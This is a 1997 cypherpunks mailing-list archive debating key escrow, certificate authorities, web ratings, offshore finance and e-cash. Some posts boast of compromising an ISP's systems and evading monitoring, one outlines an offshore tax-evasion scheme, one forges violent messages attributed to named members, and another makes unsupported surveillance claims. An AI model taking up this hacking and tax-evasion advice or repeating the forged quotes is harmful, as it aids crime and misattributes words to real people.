The larger issue in both cases is that the government is interjecting
itself, or seeking to, in matters of trust and believability. It's as if
the government felt movie and restaurant reviewers needed to be licensed,
regulated, inspected, detected, refected, and maldicted.

The CA issue, which shows up in the UK "trusted third parties" proposal and
in various other European and American proposals, essentially rules out
independent, "anarchic" signature signers. If the UK form becomes law, for
example, one could not even _sign_ another's key or whatever without
automatically becoming subject to the law.

(Whether something like this will become law in the U.K, not to mention the
U.S., is unclear. But of course this is the plan being discussed.)

The "Web rating" proposal is somewhat similar, in that those who provide
PICS/RSACi ratings would be bound by certain laws.

Sounds reasonable, being bound by certain laws, right? To some it does.

Here's why they're wrong: signatures on keys and statements of ratings are
just OPINIONS or EXPRESSIONS OF BELIEF.

"I believe this is the key of Phil Zimmermann."

"I believe the material I saw at this Web site when I looked is suitable
for children under the age of 9."

"I believe Szechwan Garden has fine food."

"I believe "Contact" is a good movie."

"I believe that giving all your money to the Church of Scientology will
help you go clear."

All are opinions, however expressed. There is no government role in any of
these issues. Whether people are "misled" by stated opinions is not a
matter for governments in free societies to intervene and limit speech.

(Sure, there are a few fringe issues, such as variants of falsely shouting
"Fire!" in a crowded theater and the Usual Suspects when it comes to free
speech. But the Net is no different from other outlets when it comes to
even these fringe issues.)

In the cases we are so preoccupied with recently, the government is seeking
a role in establishing a hierarchy of true statements, a system for
determining who is making legitimate statements and who is not. The
government is seeking to be the arbiter of truth, telling us whom we can
trust.

All unaccepable, of course. On some very basic grounds.

Talk of compromise is terribly wrong.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 18 Jul 1997 11:25:04 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: ESPN hacked -- got info? (fwd)
In-Reply-To: <Pine.GSO.3.95.970717183258.19394c-100000@well.com>
Message-ID: <199707180310.XAA23878@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	Strong crypto is useful not in building a web site, but in
providing an infrastructure that resists stupidity better.

	For example, when you telnet or ftp, your password goes in a
sniffable cleartext format.  When you send mail, it traverses the net
in the clear, and is stored in the clear.  If crypto was widely
deployed, the sensitive information people send in the clear would be
protected.

	Locking the barn after the horses are gone is not nearly as
useful as ubiquitous locks.

Adam


Declan McCullagh wrote:
| ---------- Forwarded message ----------
| 
| Declan --
| 
| Do you have any information about the ESPN/SportZone web site store being 
| hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
| interested to know if 1) this site was using encryption before being hacked 
| and 2) what type of encryption they are using now (one of the press stories 
| noted that crypto was one of the security measures implemented after the 
| hacking).
| 
| I realize this was probably an inside job, but it's good fodder for the 
| Hill.  Any insight you might have -- or other examples -- would be great.
| 
| Thanks in advance.
| 
| 


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 12:27:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff48a1390fc@[207.167.93.63]>
Message-ID: <199707180421.XAA09823@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102801aff48a1390fc@[207.167.93.63]>, on 07/17/97 
   at 07:54 PM, Tim May <tcmay@got.net> said:

>At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>>On Thu, 17 Jul 1997, Tim May wrote:
>>>
>>> Taxes are already essentially uncollectable, even in interstate
>>> transactions, so the moves by Summers and Magaziner are truly token
>>> gestures.
>>
>>
>>Uh, Tim, corporate and personal income taxes are still rather
>>well collectible, and that my be the reason the federal gov't
>>doesn't worry too much about taxing the Net. State, and even
>>more so local, gov'ts do not have the same collectibility
>>advantage.  And the locals are often revenue-starved and

>I meant that taxes are essentially uncollectable for interstate
>transactions like mail order purchases.

>I buy several thousand dollars worth of stuff each year by mail order,
>and only a few hundred bucks worth of it has been taxable.

>My state, California thinks I should either send them a check for 8.25%
>of all that I have purchased, or that the vendors in New Hampshire, Ohio,
>etc. should send them such a check....we all ignore this notion, and
>there is little to be done. It is this sort of "tax arbitrage" I was
>drawing a very real parallel to.

>Most "tax the Net" talk I hear about is about taxing Net commerce (as
>opposed to, say, placing a per minute tariff on Net connections). Hence,
>my point.

>I wasn't referring to either corporate or personal income taxes, which
>have little or nothing to do with the Net.

Actually with some "creative" accounting one can make use of the net to
cirumvent large amount of corporate & personal income tax. :)

It is quite possible to set up virtual corporations who's complete
bussines is done over the wire. While some setions of industry can benifit
from this more than others I see in the future a large section of the
revenue stream migrating offshore to various taxhavens beyoned the reach
of the little piggies in DC. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM87iAI9Co1n+aLhhAQFlwAQAkYzP3uqoGIER52sN4tTENFMR2tgO57Sa
DEGTJk90SXcrv4uKRxBLI9vmQcEykwz2u2nBbX+Upq4Hat5gNYNK+OYAt+/4yR2o
LDLcA9aChnxxVoM6oC2GEm18hm9M2jkShy5umaIwWkKQr1hd0RiZ7j0QxJsy0net
oZKzHdRUsm4=
=XErr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 18 Jul 1997 11:36:29 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Verisign gets export approval
In-Reply-To: <33CEDD64.292388D@netscape.com>
Message-ID: <199707180321.XAA23958@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:

| > Unless VeriSign includes in the price of the Global ID cert a bond
| > that will compensate the buyer of a Global ID based commerce system
| > for any and all future losses caused by VeriSign either revoking or
| > refusing to renew a cert (fat chance), anyone basing their strategy on
| > having such a cert is at risk of losing their business.
| 
| I fail to see the problem.  Right now, if you want to communicate
| securely with exportable web browsers, this is the only way to do it. 
| Either you do it, or you don't.  If VeriSign doesn't renew your cert,
| then you're right back where you were the previous year.

	Nope, you've now got thousands of upset customers who were
using secure communications, and are now using cheesy exportable
ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
Stronghold. :)

Adam


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rschlafly@attmail.com (Roger  Schlafly)
Date: Fri, 18 Jul 1997 14:36:02 +0800
To: cypherpunks@Algebra.COM
Subject: court order required for keys?
Message-ID: <rschlafly1990630200>
MIME-Version: 1.0
Content-Type: text/plain



Posted online news accounts of the McCain-Kerrey bill have implied
that the a court order is required under the bill to get keys.  Eg,
from recent postings,

    [AP, 07/09/1997]
    As with wiretaps, authorities would have to obtain court orders to make
    the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
    ... Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
    up a key recovery system to give computer companies strong incentives to
    make keys available to investigators who obtain a court's permission.
                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    [Wired, 11.Jul.97]
    Law enforcement could then access that copy of your key
    through a court order.
    ^^^^^^^^^^^^^^^^^^^^^

I find this distressing, because I have read the bill, and a court order
is most emphatically NOT required.  Only a form specified by J. Reno.
This is a tricky point in the bill, but notice that:

(1) Court orders are not required for wiretaps in the US.  While it may
be true that court orders are used most of the time when wiretap evidence
is used in a criminal trial, there are a number of exceptions.

(2) There is no restriction in the bill to getting keys to decipher
communications covered by the wiretap laws.  It lets cops get keys
to many other communications.  Part of the point to using
encryption is to use public networks where access to the encrypted
data need not be hidden or withheld from the public.  Under S.909,
if the cops can get access to the data, then they can get the keys
without any court order.

(3) Even if there is a court-ordered wiretap, there is no obligation
to notify the judge that keys will also be seized.  While it may seem
obvious that if a judge is willing to order a wiretap, he is willing
to order key seizure, I don't think this is necessarily the case.
When a judge orders a wiretap, he is supposed to be balancing the
possibility of getting incriminating evidence against the invasion of
privacy of innocent parties.  If the keys of innocent parties are being
seized as well, it may affect the judge's balancing.

(4) In S.909, all of the requirements on law enforcement officials
can be lifted by executive order.

Am I wrong, or are all the news accounts wrong?  Please let me know
if there is any flaw in my analysis.

Roger Schlafly
rschlafly@attmail.com
(Please CC me on any followup, as I only occasionally read this list.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 18 Jul 1997 12:57:51 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707180441.XAA02483@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Click here to play IBM's virtual tennis @
   www.wimbledon.org 
   
     rule
     
                 DATABASE PROBLEM SLOWS SOME INTERNET TRAFFIC
                                       
     July 17, 1997
     Web posted at: 9:53 p.m. EDT (0153 GMT)
     
     (AP) -- A problem with the database that keeps track of all Internet
     addresses slowed network traffic for several hours Thursday morning,
     effectively blinking some Web sites out of existence.
     
     The problem appeared to be resolved by midafternoon.
     
     During the trouble, computers couldn't always find someaddresses
     ending in .net and .com, sometimes e-mail didn't go through and
     attempts to look up some Web sites came up empty.
     
     A user seeking an address ending in .com, for example, wouldhave
     received an error message that read "Could not resolve DNS," said
     Aggie Nteta, a spokeswoman for Network Solutions Inc., which runs
     the main registry of Internet addresses, called InterNIC, under an
     arrangement with the U.S. government.
     
     Every morning at 2:45 a.m. EDT, the files listing all Internet
     addresses for North America are updated and sent out through the
     network. On Wednesday morning, two of those files somehow became
     corrupted, setting off error alarms.
     
     However, the system administrator on duty chose to release the files
     anyway, creating a situation in which many Web sites effectively
     blinked out of existence, at least in the eyes of browsers.
     
     "The big effect was that our site became invisible," saidChris
     Caldwell, chief engineer at NDA, a Web site design company in
     Woburn, Massachusetts.
     
  Problems with addresses
  
     
     
     The files were corrected and re-released about four hours later,
     although it may have taken several more hours for the corrected
     information to spread throughout the network, Nteta said.
     
     The problem is the latest in a series of addressing glitchesover the
     past few days. Last weekend AlterNIC, an InterNIC rival, briefly
     took over InterNiC's address on the Web. AlterNIC described this on
     its Web site as a form of protest over InterNIC's current monopoly
     on distribution of Internet addresses.
     
     InterNIC has also encountered numerous problems with badinformation
     on its database. Some businesses have been double billed, while
     others have had their Web sites dropped from the address lists by
     mistake.
     
     Dave Crocker, a computer consultant and founder of theInternet Mail
     Consortium, said it was a problem of qualityassurance.
     
     "The fact that they are growing quickly is not an excuse forthis.
     The rate of errors they are having would not be tolerable for any
     other professional organization doing a technical task," he said.
     
     Copyright 1997 Associated Press. All rights reserved. This material
     may not be published, broadcast, rewritten, or redistributed.  rule
     
  Related site:
  
     Note: Page will open in a new browser window
     * Welcome to the InterNIC
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
     related CNN stories:
     ________________________________________   ______ [Help]
     Tip: You can restrict your search to the title of a document.
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   All Rights Reserved.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 18 Jul 1997 15:26:01 +0800
To: cypherpunks@toad.com
Subject: Re: A.Jensen doesn't like Sympatico.ca
In-Reply-To: <Pine.LNX.3.96.970717164301.8372E-100000@fractal.mta.ca>
Message-ID: <33CF16FC.52C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Michael C Taylor wrote:
> On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > They hate Toto's ISP:

  So does Toto.

> Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
> the larger ISPs and has the deepest pockets.
> Each province buys the basic 'francise' from MediaLink (??) in Upper
> Canada, and resells it and packages it how they want.
 
> The problem is with spam is not they do more of it, they are most
> likely underqualified to fix the problem of non-Sympatico users using the
> various Sympatico SMTP servers as a relay.

  Sympatico is a hacker's dream. Not only are you able to access their
systems all across Canada once you get an inside track into one of them
but most of the provincial admins seem to have little idea of what the
concept of security entails. As long as you remain low-key you can
set up your own little cyberkingdom across the country.
 {If you hack Toto's website you will find a file in the home directory
which explains how to hack Sympatico's mail system. In return Toto asks
that you use unlimited accounts instead of those like his, which cost
the user on a time-of-use basis.}

  Passive-aggressive hacker fans of "The True Story of the InterNet"
sometimes use Toto's account in ways that are meant to cause trouble
for him but he has not received even a whisper from Sympatico admin
despite loud and voriciferous protests from the victims of the hackers'
shenanigans.
  There was an annual MC hacker's contest going on for the last month
on the Sympatico system and none of the Webmasters seemed to notice
even though all the provincial systems were compromised from top to
bottom. When the Evil-1 set up shop on the Sympatico system he had
to go through it and _improve_ the security in order to keep the
neophyte hackers out of his hair.

  The Saskatchewan Sympatico system is the easiest to use for general
purpose mischief. The British Columbia system is best for hiding large
volumes of use and CPU time. The Ontario system is the most fun to
lurk in because all of the Sympatico employees are perverts of one
kind or another and their private email puts the sex sites to shame.
{It's best not to mess with the government accounts until you've
figured out where the Mountie and CIS spooks are lurking but their
monitoring methods are real blatant and easy to route around by using
blind telnet, deleted mail mirroring, etc.}

  Sympatico's motto is "Internet Service For Everyone."
  I doubt that they realize how true it is.

Toto #6UALDV8





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 18 Jul 1997 16:39:43 +0800
To: cypherpunks@toad.com
Subject: Re: court order required for keys?
Message-ID: <199707180824.CAA17083@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Roger Schlafly wrote: 
> Posted online news accounts of the McCain-Kerrey bill have implied
> that the a court order is required under the bill to get keys. 
>     [AP, 07/09/1997]
>     As with wiretaps, authorities would have to obtain court orders to make
>     the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
>     [Wired, 11.Jul.97]
>     Law enforcement could then access that copy of your key
>     through a court order.
>     ^^^^^^^^^^^^^^^^^^^^^
> 
> I find this distressing, because I have read the bill, and a court order
> is most emphatically NOT required.  Only a form specified by J. Reno.

  Most people don't realize that many of the so-called protections that
are in place to guard our constitutional rights and our privacy only 
apply to _use_ of the material in an _official_ proceeding, such as a
trial or hearing.
  Government, private agencies and corporations daily exchange all
manner
of supposedly private information, often using court orders only to
_officially_ get portions of what they already had. It is no accident
that LEA's often get court orders asking only for access to certain
incriminating information (since they've already done the "fishing").

This is a tricky point in the bill, but notice that:
> (1) Court orders are not required for wiretaps in the US.  While it may
> be true that court orders are used most of the time when wiretap evidence
> is used in a criminal trial, there are a number of exceptions.

  Also, many of the wiretaps have already been in place when the
court orders are applied for. "Redating" of wiretap records is a
common and sophisticated part of LEA practice. NSA has a database
that is used to cull out wiretap references which are out of sync
with the purported time-stamp on records. It lists all worldwide
social and religious time-sequence indentifiers such as Easter, 
Hannuka, the running of the bulls, sports contests and playoffs,
etc. 

> (2) There is no restriction in the bill to getting keys to decipher
> communications covered by the wiretap 
>  Under S.909,
> if the cops can get access to the data, then they can get the keys
> without any court order.

  Which they no doubt will do and apply for the court order after they
have found what they want. This will be even more effective than their
voice-wiretap methods have been because their will be no need to redate
the information they claim as being found after getting the court order
since files, unlike voices, linger.

> (4) In S.909, all of the requirements on law enforcement officials
> can be lifted by executive order.

  Which means it can be done _retroactively_ with a nod, a wink, and
a few simple strokes of a pen.

  S.909 quite simply butt-fucks the Constitution and the citizenry.
The shameless criminals on Capitol Hill of Manure no longer even
seriously pretend to be in the least concerned with Constitutional
issues. They think (and may be right) that they only have to chant
the "National Security" mantra a couple of times to absolve all of
their sins against the Constitution.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 18 Jul 1997 09:03:48 +0800
To: cypherpunks@toad.com
Subject: Re: <sigh>
Message-ID: <199707180051.CAA13954@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> If you have sent any message to me between 00:00-13:00 GMT-0400 today
> please resend the message.
> Also could someone from the mailing list send me copies of the messages
> that I have missed.

  Happy to oblige.
------------------
Date: Thu, 17 Jul 1997 01:21:41 -0700
To: cypherpunks@Algebra.COM
From: Tim May <tcmay@got.net>
Subject: Geiger's email

  Has anyone knocked out Geiger's email yet?

--Tim May
------------------
Date: Thu, 17 Jul 1997 0:15:24 +0200 (MET DST)
From: Zooko Journeyman <zooko@xs4all.nl>
Message-Id: <199707171415.QAA06056@xs2.xs4all.nl>
To: cypherpunks@toad.com, neumann@csl.sri.com
Subject: Re: Geiger's email

  Yeah, Lucky Green took care of it.
  We should have a few hours to discuss what we're going to do
to that piece of shit, WG III.

Zooko...Zooko...Zooko
-------------------
Date: Thu, 17 Jul 1997 00:51:46 -0700
From: geeman@best.com
To: cypherpunks@toad.com
Subject: Re: Gieger's email

  I've got the bodies of the children on ice. Steve Schear has the 
superglue and Dimitri has the nails. Peter Neumann just placed an
anonymous call to the FBI, so we're ready to fix that rat bastard.
  Let's take this discussion off-line in case WG III manages to
get his email back on-line.

Gee, Man!
-------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 19 Jul 1997 12:15:30 +0800
To: tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <Chameleon.869213374.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



=snip=

> > I also would like to mention the reader that yesterday's release of
> > MSIE 4.0b2 *does* have the ability to check CRL's.
> 
> Yes, we will add this feature in some future release.  It will be
> configurable, so if the user doesn't want to check CRLs he doesn't
> have to.

An excellent way of implementing it. 

 
> Aren't all certs VeriSign issues only valid for one year?  This isn't
> any different.
> 
> There's nothing preventing another CA from getting permission from the
> USG to issue these magic certs.  We would have to distribute a patch,
> but I don't see any problem with that.

uh, why does one need permission of the usg to issue "magic certs"?


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/18/97
Time: 04:06:36
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Fri, 18 Jul 1997 16:38:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: <199707180833.EAA00990@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text



[regarding TC May's comment that it still wasn't practical to live off
of exclusively offshore investment income tax-free, and that advocates
of offshore banking did not even claim it was, but that it might be in
10 years.]

What exactly makes it impractical to live off of the investment income
from off-shore investments exclusively?  I'm kind of broke right now, but
I was assuming that the combination of a set of offshore accounts
and an offshore visa card used to pay for practically everything, as
well as perhaps smuggled in cash and gold/etc. which could be sold outside
of reported channels would be enough to allow you to pay untracededly
for almost everything.  Then, if you did not have a primary residence
in the United States, but rather spent life living in a college dorm
(which is unlikely to flag anything at the IRS, being part of a bill which
is routinely paid by third parties, often from outside of the US), on a
boat registered outside of the US, or visiting places around the country
and world, plus had some plausible way of hiding this extra income of
yours, you could get by reporting only an abusrdly low amount of income
from a part time job or something, and no one would be the wiser.

Then, as your income/assets grew, you could continue to dump money from
off-the-record sources into an offshore account, continue to use the
offshore account for real and untraced purchases, and continue to draw
your small salary to show that you are paying taxes and are just poor.
Then, graduate from university and live the rest of your life vacationing
around the world, or skip the first step if you're smart. (From what I
know of IRS auditing procedures, they'd be remarkably more apt to find
out if someone with a real income's income suddenly fell to $4k/year and
stayed there from $100k+/year with no explanation given than if mine went
from -$30k a year to -$26k/year, so starting when you're broke might be
a decent plan.)

Are there any major obvious holes in this plan?  Now all I need is to
do some useful, crypto-anarchist work and be
paid under the table, perhaps taking a month or two vacation to 
Antigua or someplace in the process.

---
Ryan Lackey
rdl@MIT.EDU
http://mit.edu/rdl/www/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 06:54:21 +0800
Subject: Re: The Big Sellout
In-Reply-To: <eNPZ0D6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970718043634.105A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> I think a better approach would be to rate all of one's pages as being very
> nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
> allowed to see it, irrespective of contents.

Hell it would probly get you more hits from the drool and click crowd.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Fri, 18 Jul 1997 18:31:18 +0800
To: cypherpunks@Algebra.COM
Subject: mondex
Message-ID: <199707181026.GAA01342@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



So, it appears (at least to me and many others) that Mondex is the most 
likely to succeed of all the serious electronic cash systems currently
publically announced.  I think I like some parts of their architecture,
but to a great extent they seem to be completely at odds with the
"free money" goals I have for electronic cash -- they're totally owned
by the banking industry, willing to give up a great deal of privacy and
anonymity in the name of preventing money laundering, and they appear
committed to supporting only current national currencies, rather than
allowing corporate scrip from either existing large companies (I trust
at&t more than most governments) or organizations which buy a bunch of
gold, charge minimal overhead, and issue currency totally backed by
their assets.  I'd be somewhat annoyed if the big electronic cash system
only moved current statist cash into the electronic realm.

Does anyone know how open the Mondex architecture is?  Is it in any way
possible to set up a competing system with your own card manufacture
and issuing bodies for currencies which can be used in deployed Mondex
POS terminals without too much hassle?  Would this be analagous to the
problem of replacing InterNIC with other NICs -- you need to make the
user servers know to look at the rival systems and understand their 
keys?

It would be kind of impressive in a way if Mondex were lame about 
allowing other currencies to proliferate free of state influences, yet
managed to get the basic technology employed around the world, then some
cypherpunkish group came up with their own cards, a little bit of
software, etc. and then issued currency with more behind it than Mondex
franchisees, had higher profits than Mondex, and then were to be the
only currencies anyone would trust after the collapse of a few state-backed
currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
of hardware and software design for the cards and system, so they're
likely to be more secure in that fashion as well.

Am I being utterly out of touch with reality, or only tangential to it?

---
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/www/









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 22:00:32 +0800
To: cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <VeF20D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 17 Jul 1997, William H. Geiger III wrote:
>
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
>
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

I have the first the third editions of Ian raham's excellent
_HTML Sourcebook. The first edition has screen shots from dozens of
browsers. Where did they all go? :-)

> > I was thinking more allong the lines of providing a strong, secure GNU
> > browser for doing transactions over the net
>
> So basicly a non-nonsence bussness web-broser.  It would have to be
> devloped outside the cyber certion though.

Non-crypt stuff like frames and animated gifs could be added here.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 18 Jul 1997 20:51:02 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180148.UAA07682@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.94.970718083053.23746C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> I think that several of us need to get together with the authors of Lynx
> and produce a GNU secure webbrowser and take on these SOB's.
> 
> I don't think that it would be all that much work to mimick NetScapes
> plugin interface so the same plugins will work with the GNU browser.

While they are still in early stages, Project Mnemonic is a team of
programmers working on an open, modular GNU browser that will have the kind
of functionality that you describe (and eventually be able to run in various
modes, such as text only, svgalib, X, etc). They need C++ programmers to
help, so spread the word. The story is at
<http://www.wired.com/news/news/technology/story/3907.html>.


m

<http://dsl.org/m/>  Copyright (c) 1997 Michael Stutz; this information is
email stutz@dsl.org  free and may be reproduced under GNU GPL, and as long
                     as this sentence remains; it comes with absolutely NO
		     WARRANTY; for details see <http://dsl.org/copyleft/>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 21:51:05 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: <199707181339.IAA14853@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970718085427.0364b774@panix.com>, on 07/18/97 
   at 08:54 AM, Duncan Frissell <frissell@panix.com> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>>When microsoft has more power and money then most goverments I begin to 
>>see no real difference between president Bill gates and any other
>>totalrion dictator.

>But how many divisions does Mr. Bill have?

Considering the current administration's greed I would imagine that Mr.
Bill could have the Marines land anywhere in the world on 72hr notice for
a couple of Million $$$.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 23:58:40 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <v03102812aff53e85cc07@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



> On Thu, 17 Jul 1997, Tom Weinstein wrote:
>>Lucky Green wrote:
>> Even if Communicator would never check CRL's, not even in the future,
>> the mere fact that the Global ID cert have only a one year lifetime
>> means anyone relying on Global ID can be held hostage by threatening
>> to refuse to renew their cert. The reader may not be aware that unlike
>> other certs, the Global ID certs are *only* issued by VeriSign. You
>> can not go to a non-US CA and obtain such a cert. [Which of course
>> would defy the whole purpose of this rather slick deal :-]
>
>Aren't all certs VeriSign issues only valid for one year?  This isn't
>any different.
>
>There's nothing preventing another CA from getting permission from the
>USG to issue these magic certs.  We would have to distribute a patch,
>but I don't see any problem with that.

There's probably no technical reason these patches must originate with
Netscape.  Seems like a healthy cottage industry could spring up to supply
patch software to offshore companies which want magic certs w/o USG
approval.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 23:58:42 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: <v03102805aff5380a7024@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:33 AM -0700 7/18/97, Ryan Lackey wrote:
>[regarding TC May's comment that it still wasn't practical to live off
>of exclusively offshore investment income tax-free, and that advocates
>of offshore banking did not even claim it was, but that it might be in
>10 years.]

I'll answer a few of Ryan's questions, but not in much detail. First,
because this is not a list oriented toward offshore investments and tax
avoidance strategies (though crypto anarchy touches on these issues).
Second, because opinions are especially cheap in this area. Third, because
advice/guidance depends critically on many factors, especially the amount
of money one has.

>What exactly makes it impractical to live off of the investment income
>from off-shore investments exclusively?  I'm kind of broke right now, but
>I was assuming that the combination of a set of offshore accounts
>and an offshore visa card used to pay for practically everything, as
>well as perhaps smuggled in cash and gold/etc. which could be sold outside
>of reported channels would be enough to allow you to pay untracededly
>for almost everything.  Then, if you did not have a primary residence

